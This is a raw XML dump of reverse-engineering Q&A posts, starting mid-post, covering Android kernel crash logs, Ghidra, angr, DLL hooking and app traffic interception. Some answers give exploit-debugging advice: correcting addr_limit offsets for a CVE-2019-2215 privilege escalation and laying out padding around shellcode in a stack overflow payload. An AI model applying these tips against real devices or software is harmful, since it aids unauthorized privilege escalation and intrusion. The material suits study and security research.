&#xA;[  400.259297] x21: ffffffe51f341c00 x20: 0000000000000008 &#xA;[  400.259312] x19: ffffffe51f344000 x18: fca83dec72c82c59 &#xA;[  400.259325] x17: 00000070696c35c8 x16: ffffff80e97cd198 &#xA;[  400.259334] x15: 0000007fc1ea0b58 x14: 00000000ffffffff &#xA;[  400.259344] x13: 0000000000000000 x12: 0000007fc1ea0bb8 &#xA;[  400.259353] x11: 0000000000000000 x10: ffffff80ebe9b848 &#xA;[  400.259362] x9 : 0000000000000018 x8 : ffffff80ebe9b000 &#xA;[  400.259371] x7 : ffffffdb80000000 x6 : ffffffe51f341c08 &#xA;[  400.259380] x5 : ffffffe51f341c08 x4 : 0000000000000000 &#xA;[  400.259391] x3 : 0000000000000140 x2 : 00000000000000b8 &#xA;[  400.259409] x1 : ffffffe551910000 x0 : fffffffffffffffe &#xA;[  400.259420] &#xA;[  400.259420] PC: 0xffffff80e9b9cb84:&#xA;[  400.259426] cb84  b4000061 aa1303e0 d63f0020 b40011b4 b9404320 375811a0 aa1703e0 97ed6d39&#xA;[  400.259456] cba4  910203a0 52800021 92f00002 97ed3cda aa1703e0 94275ce6 f9400b80 f9400400&#xA;[  400.259482] cbc4  f9400000 37000f60 aa1903e0 97ffeadc 35000f40 f9410e60 b4000060 b941e800&#xA;[  400.259509] cbe4  34000ec0 b9413660 36000b00 b4fffc74 f9414276 91400ac4 910ac09a aa1a03e0&#xA;[  400.259540] &#xA;[  400.259540] LR: 0xffffff80e9b9cac0:&#xA;[  400.259546] cac0  b9413c02 f9004bb5 f9003fa1 37400262 91036277 9108c27b aa1703e0 f000575a&#xA;[  400.259577] cae0  aa1803f5 94275d1b aa1303e0 d538411c 97fffeda aa1b03e0 910203a1 97ed3b74&#xA;[  400.259603] cb00  b0005500 91302000 f9003ba0 9108c340 f90037a0 1400002a f9401721 f9400c22&#xA;[  400.259629] cb20  90ffffe1 9139c021 eb01005f 54fffd20 97fff30a 93407c1a b4fffcda 140000b4&#xA;[  400.259657] &#xA;[  400.259657] SP: 0xffffffe551913c30:&#xA;[  400.259663] 3c30  e9b9cb00 ffffff80 51913c70 ffffffe5 e9b9cbc4 ffffff80 60400145 00000000&#xA;[  400.259691] 3c50  1f344000 ffffffe5 00000008 00000000 00000000 00000080 e9b9cae8 ffffff80&#xA;[  400.259718] 3c70  51913d20 ffffffe5 e9b98ddc ffffff80 1f344000 ffffffe5 00000000 00000000&#xA;[  400.259757] 3c90  00000008 00000000 00000008 00000000 dcdda200 ffffffe5 69230000 00000070&#xA;[  400.259782] &#xA;[  400.259788] Process cve-2019-2215 (pid: 6877, stack limit = 0xffffffe551910028)&#xA;[  400.259794] Call trace:&#xA;[  400.259803] Exception stack(0xffffffe551913a80 to 0xffffffe551913bb0)&#xA;[  400.259812] 3a80: ffffffe51f344000 0000008000000000 0000000082b33000 ffffff80e9b9cbc4&#xA;[  400.259821] 3aa0: 0000000060400145 ffffffe5f4005000 ffffffe551913ad0 ffffff80ea460dcc&#xA;[  400.259829] 3ac0: ffffffe551913b10 ffffff80e97ba680 0000000000000000 ffffffe5f9403c00&#xA;[  400.259837] 3ae0: ffffffe551910000 0000000000000000 ffffffbe57b3d700 000000000004cbc2&#xA;[  400.259845] 3b00: ffffffe551910000 0000000000000000 ffffffe551913c30 ffffff80e97ba950&#xA;[  400.259852] 3b20: ffffffbe57b3d700 ffffffe5ecf5d800 ffffffe551910000 953d5989c78ca9ec&#xA;[  400.259859] Unable to handle kernel NULL pointer dereference at virtual address 00000022&#xA;[  400.259863] pgd = ffffffe5619b1000&#xA;[  400.259867] [00000022] *pgd=00000000e409f003, *pud=00000000e409f003[  400.259872] 3b40: fffffffffffffffe ffffffe551910000 00000000000000b8 0000000000000140&#xA;[  400.259877] 3b60: 0000000000000000 ffffffe51f341c08 ffffffe51f341c08 ffffffdb80000000&#xA;[  400.259882] 3b80: ffffff80ebe9b000 0000000000000018 ffffff80ebe9b848 0000000000000000&#xA;[  400.259886] 3ba0: 0000007fc1ea0bb8 0000000000000000&#xA;[  400.259895] [&amp;lt;ffffff80e9b9cbc4&amp;gt;] n_tty_write+0x168/0x3e8&#xA;[  400.259901] [&amp;lt;ffffff80e9b98ddc&amp;gt;] tty_write+0x1d4/0x268&#xA;[  400.259913] [&amp;lt;ffffff80e97cbf30&amp;gt;] __vfs_write+0x38/0xfc&#xA;[  400.259920] [&amp;lt;ffffff80e97cc848&amp;gt;] vfs_write+0xac/0x16c&#xA;[  400.259926] [&amp;lt;ffffff80e97cd1ec&amp;gt;] SyS_write+0x54/0xa4&#xA;[  400.259936] [&amp;lt;ffffff80e9683170&amp;gt;] el0_svc_naked+0x24/0x28&#xA;[  400.259942] Code: aa1703e0 94275ce6 f9400b80 f9400400 (f9400000) &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I tried changing &lt;code&gt;0xfffffffffffffffe&lt;/code&gt; to something lower but that didn't work. I also looked at &lt;code&gt;n_tty_write&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;It looks like the crash comes from something in this loop: &lt;a href=&quot;https://elixir.bootlin.com/linux/v4.4.78/source/drivers/tty/n_tty.c#L2352&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://elixir.bootlin.com/linux/v4.4.78/source/drivers/tty/n_tty.c#L2352&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;The &lt;code&gt;n_tty_write+0x168&lt;/code&gt; corresponds to this instruction(&lt;code&gt;859cbc4&lt;/code&gt; asm left, C line &lt;code&gt;45&lt;/code&gt; from Ghidra right) &lt;a href=&quot;https://i.stack.imgur.com/dayr7.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/dayr7.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;I tried digging further but it's taking a huge amount of time, I'd really appreciate any tips from more experienced people.&lt;/p&gt;&#xA;" OwnerUserId="33604" LastActivityDate="2020-08-22T08:22:55.683" Title="Can't CVE-2019-2215 on Android: &quot;Unable to handle kernel paging request at virtual address&quot;" Tags="|android|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25713" PostTypeId="2" ParentId="16098" CreationDate="2020-08-20T09:01:28.497" Score="0" Body="&lt;p&gt;Try to take a look at &lt;code&gt;strace&lt;/code&gt; and syscall monitor program likes .&lt;br /&gt;&#xA;With those tools it will give you more information and details.&lt;/p&gt;&#xA;&lt;p&gt;China has a folk adage：&amp;quot;If a worker wants to do a good job, he must sharpen his tools first&amp;quot;.&lt;/p&gt;&#xA;" OwnerUserId="23061" LastActivityDate="2020-08-20T09:01:28.497" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25715" PostTypeId="2" ParentId="20194" CreationDate="2020-08-20T10:22:19.283" Score="2" Body="&lt;p&gt;This is a relatively old question, but I recently stumbled across the same problem myself. &lt;a href=&quot;https://xkcd.com/979/&quot; rel=&quot;nofollow noreferrer&quot;&gt;In the interest of the greater good&lt;/a&gt;, I will explain what is going on.&lt;/p&gt;&#xA;&lt;p&gt;It is likely that the structure of your payload (the entire sequence of bytes you send to the process) is something like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;PADDING + SHELLCODE + RETURN_ADDRESS&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Sadly, this does not work well with pwntools' shellcode. The reason is that the &lt;code&gt;push&lt;/code&gt; instructions modify the stack, &lt;em&gt;where your shellcode is&lt;/em&gt;. This means that the shellcode is (unintentionally) mutated to something else, and of course shenanigans ensue.&lt;/p&gt;&#xA;&lt;p&gt;The solution is to &lt;a href=&quot;https://security.stackexchange.com/questions/133629/why-append-an-nop-sled-at-the-end-of-the-shellcode&quot;&gt;add some padding &lt;em&gt;after&lt;/em&gt; the shellcode&lt;/a&gt;. Because the stack grows to lesser addresses, &lt;code&gt;push&lt;/code&gt; instructions will first overwrite the data in the greater address locations.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;PADDING + SHELLCODE + **MORE_PADDING** + RETURN_ADDRESS&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;For me, &lt;code&gt;MORE_PADDING&lt;/code&gt; of 32 bytes worked nicely. Do not forget to reduce the size of the original &lt;code&gt;PADDING&lt;/code&gt; appropriately so that the return address is correctly overwritten.&lt;/p&gt;&#xA;" OwnerUserId="34184" LastActivityDate="2020-08-20T10:22:19.283" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25718" PostTypeId="1" CreationDate="2020-08-21T18:41:28.377" Score="0" ViewCount="714" Body="&lt;p&gt;So long story short the AOC monitor comes with a G-Menu gui that lets you customize different monitor features. One specific one I am interested in is the &amp;quot;Dial Point&amp;quot; setting. Where it overlays a red circle cross hair over the middle of the screen. I am trying to figure out how to reverse engineer through the code to find the img or code variables for the Dial Point cross hair so I can remove this obtrusive red circle they put over it. Ive tried opening the .dll files in visual studio then I tried dotPeek to see if I could use that I feel like im getting closer to a solution but as of right now im kinda worried im going in circles and dont want to waste too much time on this. Ive never really reverse engineered the code of a monitor so I dont really know where to start. Im a CS student so I know how to code a fair bit at this point but if I cant find the source code of what im looking for then I cant edit it. Any help is appreciated.&lt;/p&gt;&#xA;" OwnerUserId="34200" LastActivityDate="2020-08-21T18:41:28.377" Title="Trying to edit the source code of AOC monitor" Tags="|hardware|game-hacking|" AnswerCount="0" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="25719" PostTypeId="1" CreationDate="2020-08-22T06:35:46.323" Score="1" ViewCount="1055" Body="&lt;p&gt;I have a binary that scanfs and then does some checks and returns either FAIL or SUCCESS that has SUCCESS for multiple inputs. Although only one of the inputs has only printable characters. How do I restrict angr to work with only printable characters entered into the scanf?&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;import angr&#xA;&#xA;def main():&#xA;    proj = angr.Project('a.out')&#xA;    init_state = proj.factory.entry_state()&#xA;    simulation = proj.factory.simgr(init_state)&#xA;    simulation.explore(find=lambda s: b&amp;quot;SUCCESS\n&amp;quot; in s.posix.dumps(1))&#xA;    &#xA;    for solution in simulation.found:&#xA;        print(solution.posix.dumps(0), solution.posix.dumps(1))&#xA;&#xA;if __name__ == '__main__':&#xA;    main()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This gives me an output containing a lot of unprintable \xDD where DD is a hex number. Can I restrict angr to use only printable characters when exploring and how; or how do I prevent angr from stopping after it finds one solution to get to the SUCCESS message. Currently although there are multiple solutions it finds one and only ONE.&lt;/p&gt;&#xA;" OwnerUserId="34205" LastActivityDate="2021-01-21T22:03:40.483" Title="How to restrict angr to printable characters" Tags="|c|angr|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25720" PostTypeId="2" ParentId="25711" CreationDate="2020-08-22T08:22:55.683" Score="1" Body="&lt;p&gt;It looks like that you need to recheck your task_struct and thread_info offsets and the offset you're writing the addr_limit to is wrong.&lt;/p&gt;&#xA;&lt;p&gt;I think that the panic happens in &lt;code&gt;if (signal_pending(current)) {&lt;/code&gt; in original source.&lt;/p&gt;&#xA;&lt;p&gt;Here is what you can do for checking the offsets:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;download the corresponding kernel source, compile it and use &lt;a href=&quot;https://lwn.net/Articles/206805/&quot; rel=&quot;nofollow noreferrer&quot;&gt;pahole&lt;/a&gt; (&lt;a href=&quot;https://github.com/acmel/dwarves&quot; rel=&quot;nofollow noreferrer&quot;&gt;git&lt;/a&gt;, &lt;a href=&quot;https://groups.google.com/g/vmitools/c/zjp0YQyiEnE?pli=1&quot; rel=&quot;nofollow noreferrer&quot;&gt;example usage&lt;/a&gt;) for relevant structures. This will show you the exact offset of addr_limit that you need.&lt;/li&gt;&#xA;&lt;li&gt;If you have /proc/config.gz on your phone, you can pull it, unpack it and see all config constants used for building the kernel. This can help you to check offsets manually.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2318" LastActivityDate="2020-08-22T08:22:55.683" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25721" PostTypeId="1" CreationDate="2020-08-22T09:53:02.950" Score="0" ViewCount="224" Body="&lt;p&gt;I have hooked a sound function that work within the game menu after, when the battle start, the game will crash.&lt;/p&gt;&#xA;&lt;p&gt;The function at the first parameter get correctly the sound file name, before the battle begin.&lt;/p&gt;&#xA;&lt;p&gt;If the function 'HookSum' is empty the game work without any crash.&lt;/p&gt;&#xA;&lt;p&gt;The line:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;//&#xA;std::cout &amp;lt;&amp;lt; &amp;quot;your program has been hacked! &amp;quot; &amp;lt;&amp;lt; std::endl;&#xA;//&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;don't cause the crash, but If I insert any other line of code for example:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;//&#xA;std::string StrFileName;&#xA;StrFileName = &amp;quot;test&amp;quot;;&#xA;//&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;the game crash. So at this point I can't hook nothing, becouse I can't insert any code inside the hooked function.&lt;/p&gt;&#xA;&lt;p&gt;Someone can please explain why the game crash ?&lt;/p&gt;&#xA;&lt;p&gt;Follow the full code.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;Windows.h&amp;gt;&#xA;#include &amp;lt;iostream&amp;gt;&#xA;&#xA;#include &amp;quot;detours.h&amp;quot;&#xA;#include &amp;quot;sigscan.h&amp;quot;&#xA;&#xA;&#xA;&#xA;DWORD AddressOfSum = 0;&#xA;&#xA;&#xA;typedef void(*sum) (char *a1, int a2, int a3, int a4);&#xA;&#xA;void HookSum(char *a1, int a2, int a3, int a4)&#xA;{&#xA;&#xA;    std::cout &amp;lt;&amp;lt; &amp;quot;your program has been hacked! &amp;quot; &amp;lt;&amp;lt; std::endl;&#xA;&#xA;    std::string StrFileName;&#xA;    StrFileName = &amp;quot;test&amp;quot;;&#xA;&#xA;    sum originalSum = (sum)AddressOfSum;&#xA;    return originalSum(a1,a2,a3,a4);&#xA;&#xA;    // MessageBoxA(0, a1, &amp;quot;MsgTitle&amp;quot;, MB_OK | MB_ICONQUESTION);&#xA;&#xA;    // return;&#xA;}&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, LPVOID lpReserved)&#xA;{&#xA;    // store the address of sum() in testprogram.exe here.&#xA;&#xA;    if (dwReason == DLL_PROCESS_ATTACH)&#xA;    {&#xA;        // We will use signature scanning to find the function that we want to hook&#xA;        // we will find the function in IDA pro and create a signature from it:&#xA;&#xA;        SigScan Scanner;&#xA;&#xA;        AddressOfSum = Scanner.FindPattern(&amp;quot;bzone.exe&amp;quot;, &amp;quot;\x55\x8B\xEC\x51\x83\x3D\x94\x55\x91&amp;quot;, &amp;quot;xxxxxxxxx&amp;quot;); // BattleZoneRedux 43AA30&#xA;&#xA;&#xA;        DetourTransactionBegin();&#xA;        DetourUpdateThread(GetCurrentThread());&#xA;&#xA;        // this will hook the function&#xA;        DetourAttach(&amp;amp;(LPVOID&amp;amp;)AddressOfSum, &amp;amp;HookSum);&#xA;&#xA;        DetourTransactionCommit();&#xA;    }&#xA;    else if (dwReason == DLL_PROCESS_DETACH)&#xA;    {&#xA;        // unhook&#xA;        DetourTransactionBegin();&#xA;        DetourUpdateThread(GetCurrentThread());&#xA;&#xA;        // this will hook the function&#xA;        DetourDetach(&amp;amp;(LPVOID&amp;amp;)AddressOfSum, &amp;amp;HookSum);&#xA;&#xA;        DetourTransactionCommit();&#xA;    }&#xA;    return TRUE;&#xA;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="33776" LastActivityDate="2020-08-22T09:53:02.950" Title="Crash after hook a function" Tags="|disassembly|c++|function-hooking|dll-injection|hooking|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="25723" PostTypeId="1" AcceptedAnswerId="25726" CreationDate="2020-08-22T16:37:58.947" Score="0" ViewCount="149" Body="&lt;p&gt;I read pe program using a Pe Reader to view all sections, the .text section starts is &amp;quot;&lt;code&gt;0x0001000&lt;/code&gt;&amp;quot;:&lt;/p&gt;&#xA;&lt;p&gt;What is in the pe program reader:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/YzREQ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/YzREQ.png&quot; alt=&quot;PE READER PROGRAM&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;And is this what i see on the debugguer :&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/J3Hz3.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/J3Hz3.png&quot; alt=&quot;DEBUGGER&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="34203" LastActivityDate="2020-08-22T21:59:04.483" Title="what means &quot;ilegal use of registers&quot;?" Tags="|assembly|ollydbg|disassemblers|decompile|immunity-debugger|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25724" PostTypeId="1" CreationDate="2020-08-22T18:06:22.497" Score="2" ViewCount="239" Body="&lt;p&gt;I have a program which decompiles in Ghidra to include the line&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;temp_5f2f2f81bc = *(CPedIntelligence **)(&amp;amp;DAT_000010c0 + (longlong)pCVar2);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;code&gt;temp_5f2f2f81bc&lt;/code&gt; is a &lt;code&gt;CPedIntelligence*&lt;/code&gt;. &lt;code&gt;pCVar2&lt;/code&gt; is a &lt;code&gt;CPed*&lt;/code&gt;, and &lt;code&gt;CPed&lt;/code&gt; has a &lt;code&gt;CPedIntelligence*&lt;/code&gt; located at offset &lt;code&gt;0x10c0&lt;/code&gt;. So this &lt;em&gt;should&lt;/em&gt; decompile as &lt;code&gt;temp_5f2f2f81bc = pCVar2-&amp;gt;intelligence;&lt;/code&gt;. Is there a way to tell Ghidra &amp;quot;no, &lt;code&gt;pCVar2&lt;/code&gt; should not be cast to longlong?&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;I've noticed this occurring other times as well, and it generally seems to be associated with a structure stored in a register (here, &lt;code&gt;pCVar2&lt;/code&gt; is stored in &lt;code&gt;R13&lt;/code&gt;). In the function's local variables, though, &lt;code&gt;pCVar2&lt;/code&gt; is listed as being stored in &lt;code&gt;HASH:5f32eb8...&lt;/code&gt; The register is never used in the function &lt;em&gt;except&lt;/em&gt; as the storage for this &lt;code&gt;CPed*&lt;/code&gt;, so if I could forcibly tell the decompiler &amp;quot;this register has this type throughout the entire function&amp;quot; then that'd help. I tried using scripting to create a local variable stored in &lt;code&gt;R13&lt;/code&gt;, but the decompiler didn't pick up on it.&lt;/p&gt;&#xA;" OwnerUserId="34211" LastActivityDate="2020-08-22T18:06:22.497" Title="Ghidra is mishandling a field access" Tags="|windows|decompilation|ghidra|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25726" PostTypeId="2" ParentId="25723" CreationDate="2020-08-22T21:59:04.483" Score="1" Body="&lt;p&gt;As you can see &lt;a href=&quot;https://c9x.me/x86/html/file_module_x86_id_147.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;, &lt;code&gt;0xFF&lt;/code&gt; is a “jump far indirect” opcode and this version of jump requires operand to be a memory address.&lt;/p&gt;&#xA;&lt;p&gt;While using this type of jump, you cannot use register as an operand and hence the error message you see.&lt;/p&gt;&#xA;&lt;p&gt;And I don’t think the snippet you provided contains the actual code - it rather looks like data, though OllyDbg still tries to disassemble it.&lt;/p&gt;&#xA;&lt;p&gt;You will find the code at offset &lt;code&gt;0x1000&lt;/code&gt; relative to the image base which will likely be &lt;code&gt;0x400000&lt;/code&gt; in case of exe and &lt;code&gt;0x10000000&lt;/code&gt; in case of dll.&lt;/p&gt;&#xA;" OwnerUserId="27930" LastActivityDate="2020-08-22T21:59:04.483" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25728" PostTypeId="1" AcceptedAnswerId="25735" CreationDate="2020-08-23T18:13:25.740" Score="1" ViewCount="154" Body="&lt;p&gt;I have a basic understanding of assembly language and I'm unable to perfectly define the algorithm of winload!CmpFindNlsData looking at the disassembly. Basically I need to understand how NLS data is loaded when Windows boots up. I have been able to figure out the algorithm to this point.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;CmpFindNlsData&#xA;{&#xA;HvpGetCellPaged();&#xA;push offset winload!CmpControlString&#xA;CmpFindSubkeyByNameWithStatus();&#xA;HvpReleaseCellPaged();&#xA;&#xA;HvpGetCellPaged();&#xA;offset winload!CmpNlsString&#xA;CmpFindSubkeyByNameWithStatus();&#xA;HvpReleaseCellPaged();&#xA;&#xA;HvpGetCellPaged();&#xA;offset winload!CmpCodePageString&#xA;CmpFindSubkeyByNameWithStatus();&#xA;HvpReleaseCellPaged();&#xA;&#xA;HvpGetCellPaged();&#xA;offset winload!CmpAcpString&#xA;CmpFindValueByName();&#xA;HvpReleaseCellPaged();&#xA;&#xA;HvpGetCellPaged();&#xA;offset winload!CmpOemCpString&#xA;CmpFindValueByName();&#xA;HvpReleaseCellPaged();&#xA;&#xA;HvpGetCellPaged();&#xA;CmpValueToData();&#xA;HvpReleaseCellPaged();&#xA;&#xA;HvpGetCellPaged();&#xA;CmpFindValueByName();&#xA;HvpReleaseCellPaged();&#xA;&#xA;HvpGetCellPaged();&#xA;CmpValueToData();&#xA;HvpReleaseCellPaged();&#xA;&#xA;HvpGetCellPaged();&#xA;CmpFindValueByName();&#xA;HvpReleaseCellPaged();&#xA;&#xA;HvpGetCellPaged();&#xA;CmpValueToData();&#xA;HvpReleaseCellPaged();&#xA;&#xA;HvpGetCellPaged();&#xA;CmpFindValueByName();&#xA;HvpReleaseCellPaged();&#xA;&#xA;HvpGetCellPaged();&#xA;CmpValueToData();&#xA;HvpReleaseCellPaged();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="34219" LastEditorUserId="34219" LastEditDate="2020-08-23T18:30:12.583" LastActivityDate="2020-08-24T20:06:28.930" Title="Trying to reverse engineer CmpFindNlsData of winload" Tags="|disassembly|windows|assembly|windbg|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="25729" PostTypeId="1" CreationDate="2020-08-23T18:21:59.250" Score="2" ViewCount="215" Body="&lt;p&gt;I asked the question a while ago but found no answer so I'm trying my luck again&lt;/p&gt;&#xA;&lt;p&gt;the only solution is this :&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/9352/finding-all-api-calls-in-a-function&quot;&gt;Finding all API calls in a function&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;but it doesn't work when the library call is a .NET library call, and it seems like it doesn't include calling to recognized staticley linked library calls that were recognized by flirt&lt;/p&gt;&#xA;&lt;p&gt;basically i just want to check if a call instruction is a API/Library call or just a local function call&lt;/p&gt;&#xA;&lt;p&gt;I already tried to use the GetOpType function but didnt work, both of the &amp;quot;local&amp;quot; calls and library calls will return 10 :&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;void [mscorlib]System.Threading.Thread::Sleep(int32)&#xA;10&#xA;&#xA;unsigned int8[] Loader.Nyan::AES_Decrypt(unsigned int8[] bytesToBeDecrypted)&#xA;10 (LOCAL function)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Currently I'm using regex as a dirty workaround to find library calls only if there is a [*] in the operand but there has to be a better way..&lt;/p&gt;&#xA;&lt;p&gt;as another work around I'm checking to see if the last byte of call is 0x0A or not, based on experience all the library calls have this byte at the end, not sure if its gonna work for all the calls or not&lt;/p&gt;&#xA;" OwnerUserId="28173" LastEditorUserId="28173" LastEditDate="2020-08-26T11:53:56.600" LastActivityDate="2020-08-26T11:53:56.600" Title="Checking if a call is a API/Library call in IDApython?" Tags="|ida|idapython|ida-plugin|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="25730" PostTypeId="1" CreationDate="2020-08-24T09:53:56.560" Score="0" ViewCount="291" Body="&lt;p&gt;I was trying to test and intercept traffic from an app developed on &lt;strong&gt;Rhodes&lt;/strong&gt; open source framework, I setup a proxy with burp, and of course I have installed burp certificate on my device hence I can intercept other apps on my device but I am unable to see the traffic of the app in &lt;a href=&quot;https://play.google.com/store/apps/details?id=com.path_solutions.premierbank&amp;amp;hl=en_US&quot; rel=&quot;nofollow noreferrer&quot;&gt;question - its link&lt;/a&gt; on burp suite instead the app works fine and connects to the remote server without even appearing any error related to certificate on the &lt;strong&gt;event Log&lt;/strong&gt; of the burp suite. in reversing the &lt;a href=&quot;https://play.google.com/store/apps/details?id=com.path_solutions.premierbank&amp;amp;hl=en_US&quot; rel=&quot;nofollow noreferrer&quot;&gt;app&lt;/a&gt; I concluded that it is using https protocol to connect to the server(would be happy to confirm it &lt;a href=&quot;https://play.google.com/store/apps/details?id=com.path_solutions.premierbank&amp;amp;hl=en_US&quot; rel=&quot;nofollow noreferrer&quot;&gt;app link here&lt;/a&gt;). in my testing when I have installed the app in a Genymotion Emulator and burp suite set up to intercept traffic, can only see &lt;strong&gt;traffic&lt;/strong&gt; going to local host address; forexample:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;http://127.0.0.1:44895&#xA;&#xA;POST /app/Settings/do_pathlogin HTTP/1.1&#xA;Host: 127.0.0.1:44895&#xA;Content-Length: 65&#xA;Accept: */*&#xA;Origin: http://127.0.0.1:44895&#xA;X-Requested-With: XMLHttpRequest&#xA;User-Agent: Mozilla/5.0 (Linux; Android 8.0.0; Samsung Galaxy S6 Build/OPR6.170623.017; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/58.0.3029.125 Mobile Safari/537.36&#xA;Transition-Enabled: true&#xA;Content-Type: application/x-www-form-urlencoded; charset=UTF-8&#xA;Referer: http://127.0.0.1:44895/app/Settings/index_callback&#xA;Accept-Encoding: gzip, deflate&#xA;Accept-Language: en-US&#xA;Connection: close&#xA;&#xA;fromPage=login&amp;amp;operation_key=HOME_REP&amp;amp;username=user&amp;amp;password=pass&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I don't have any idea why this behaviour the &lt;a href=&quot;https://play.google.com/store/apps/details?id=com.path_solutions.premierbank&amp;amp;hl=en_US&quot; rel=&quot;nofollow noreferrer&quot;&gt;app&lt;/a&gt; is showing, in the real device this won't show up, i.e, traffic to the address &lt;code&gt;127.0.0.1&lt;/code&gt;.&#xA;As other researchers would recommend, tried to sniff network traffic of the &lt;a href=&quot;https://play.google.com/store/apps/details?id=com.path_solutions.premierbank&amp;amp;hl=en_US&quot; rel=&quot;nofollow noreferrer&quot;&gt;app&lt;/a&gt; with wireshark  and activated the capture traffic of the wireshark, I was expecting to sniff or even decide whether app is using UDP protocols, but did not appear any traffic from the app!.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;I wanted some help how can I capture the traffic of this &lt;a href=&quot;https://play.google.com/store/apps/details?id=com.path_solutions.premierbank&amp;amp;hl=en_US&quot; rel=&quot;nofollow noreferrer&quot;&gt;app&lt;/a&gt;?&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;what am I missing?&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;what other steps do I need?&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;I would really happy to help me about this.&lt;/p&gt;&#xA;&lt;p&gt;You can get the app in question &lt;a href=&quot;https://play.google.com/store/apps/details?id=com.path_solutions.premierbank&amp;amp;hl=en_US&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="31398" LastEditorUserId="31398" LastEditDate="2020-08-24T10:39:52.447" LastActivityDate="2020-08-24T10:39:52.447" Title="capture traffic of an android app" Tags="|debugging|android|patch-reversing|wireshark|proxy|" AnswerCount="0" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="25731" PostTypeId="1" CreationDate="2020-08-24T09:55:03.533" Score="1" ViewCount="675" Body="&lt;p&gt;I have been trying to reverse engineer the .goodnotes file format (&lt;a href=&quot;https://apps.apple.com/gb/app/goodnotes-5/id1444383602&quot; rel=&quot;nofollow noreferrer&quot;&gt;a note taking app&lt;/a&gt; for iOS devices) and so far have discovered this:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;A .goodnotes file is simply a zip archive, &lt;a href=&quot;https://www.dropbox.com/s/23l085kz6kgbl2j/Strokes.goodnotes?dl=0&quot; rel=&quot;nofollow noreferrer&quot;&gt;an example file&lt;/a&gt; extracted has the following hierarchy:&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;pre&gt;&lt;code&gt;attachments/&#xA;    1AF85389-413A-4C21-8EF5-C0603033CBF8&#xA;index.attachments.pb&#xA;index.events.pb&#xA;index.notes.pb&#xA;index.search.pb&#xA;notes/&#xA;    